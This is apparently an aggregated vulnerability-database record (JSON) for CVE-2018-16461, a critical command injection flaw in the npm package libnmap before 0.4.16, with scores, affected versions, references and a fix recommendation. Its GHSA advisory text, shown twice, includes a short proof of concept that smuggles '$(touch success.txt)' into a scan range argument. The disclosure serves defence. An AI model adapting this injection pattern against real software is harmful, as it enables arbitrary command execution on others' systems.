{"id":"CVE-2018-16461","aliases":["EUVD-2018-0734","GHSA-7g2w-6r25-2j7p"],"status":"published","title":"Command Injection in libnmap","description":"A command injection vulnerability in libnmapp package for versions \u003c0.4.16 allows arbitrary commands to be executed via arguments to the range options.","severity":{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-09","score":0.03854,"percentile":0.90228,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-77","CWE-78"],"published":"2018-10-30T21:00:00Z","modified":"2026-10-24T10:31:07Z","fixes":[{"ecosystem":"npm","package":"libnmap","fixed_in":["0.4.16"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.16"}]}]},{"source":"osv","ecosystem":"npm","package":"libnmap","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.4.16"}]}]}],"products":[{"vendor":"libnmap","product":"libnmap"},{"vendor":"libnmap_project","product":"libnmap"}],"references":[{"url":"https://hackerone.com/reports/390865","tags":["x_refsource_MISC","x_transferred","Exploit","Issue Tracking","Third Party Advisory","report","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2018-16461","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7g2w-6r25-2j7p","tags":["advisory"]},{"url":"https://github.com/nodejs/security-wg/blob/master/vuln/npm/474.json","tags":["web"]},{"url":"https://www.npmjs.com/advisories/719","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2018-16461","description":"A command injection vulnerability in libnmapp package for versions \u003c0.4.16 allows arbitrary commands to be executed via arguments to the range options.","status":"published","published":"2018-10-30T21:00:00Z","modified":"2024-08-05T10:24:32.382Z","cwes":["CWE-77"],"updated_at":"2026-11-02T14:35:11.072321Z"}],"euvd":[{"id":"EUVD-2018-0734","description":"A command injection vulnerability in libnmapp package for versions \u003c0.4.16 allows arbitrary commands to be executed via arguments to the range options.","status":"published","published":"2018-10-30T21:00:00Z","modified":"2024-08-05T10:24:32Z","updated_at":"2026-11-03T02:39:41.750379Z"}],"ghsa":[{"id":"GHSA-7g2w-6r25-2j7p","title":"Command Injection in libnmap","description":"Versions of `libnmap` before 0.4.16 are vulnerable to command injection. \n\nProof of concept\n\n```js\nconst nmap = require('libnmap');\nconst opts = {\n    range: [\n        'scanme.nmap.org',\n        \"x.x.$(touch success.txt)\"\n    ]\n};\nnmap.scan(opts, function(err, report) {\n    if (err) throw new Error(err);\n\n    for (let item in report) {\n        console.log(JSON.stringify(report[item]));\n    }\n});\n```\n\n\n## Recommendation\n\nUpdate to version 0.4.16 or later","status":"published","published":"2018-11-01T14:51:33Z","modified":"2023-09-07T18:15:42Z","cwes":["CWE-77"],"updated_at":"2026-11-02T14:37:02.632342Z"}],"nvd":[{"id":"CVE-2018-16461","description":"A command injection vulnerability in libnmapp package for versions \u003c0.4.16 allows arbitrary commands to be executed via arguments to the range options.","status":"published","published":"2018-10-30T21:29:00.293Z","modified":"2026-06-17T01:44:19.913Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"2.0","score":10,"vector":"AV:N/AC:L/Au:N/C:C/I:C/A:C","level":"high","assessor":"primary"}],"cwes":["CWE-77","CWE-78"],"updated_at":"2026-11-02T14:04:47.196456Z"}],"osv":[{"id":"CVE-2018-16461","description":"A command injection vulnerability in libnmapp package for versions \u003c0.4.16 allows arbitrary commands to be executed via arguments to the range options.","status":"published","published":"2018-10-30T21:29:00.293Z","modified":"2026-10-24T10:31:07.046277185Z","cvss":[{"version":"3.0","score":9.8,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:44:08.533609Z"},{"id":"GHSA-7g2w-6r25-2j7p","title":"Command Injection in libnmap","description":"Versions of `libnmap` before 0.4.16 are vulnerable to command injection. \n\nProof of concept\n\n```js\nconst nmap = require('libnmap');\nconst opts = {\n    range: [\n        'scanme.nmap.org',\n        \"x.x.$(touch success.txt)\"\n    ]\n};\nnmap.scan(opts, function(err, report) {\n    if (err) throw new Error(err);\n\n    for (let item in report) {\n        console.log(JSON.stringify(report[item]));\n    }\n});\n```\n\n\n## Recommendation\n\nUpdate to version 0.4.16 or later","status":"published","published":"2018-11-01T14:51:33Z","modified":"2023-11-08T03:59:59.51577Z","cwes":["CWE-77"],"updated_at":"2026-11-02T15:46:41.002603Z"}]}}
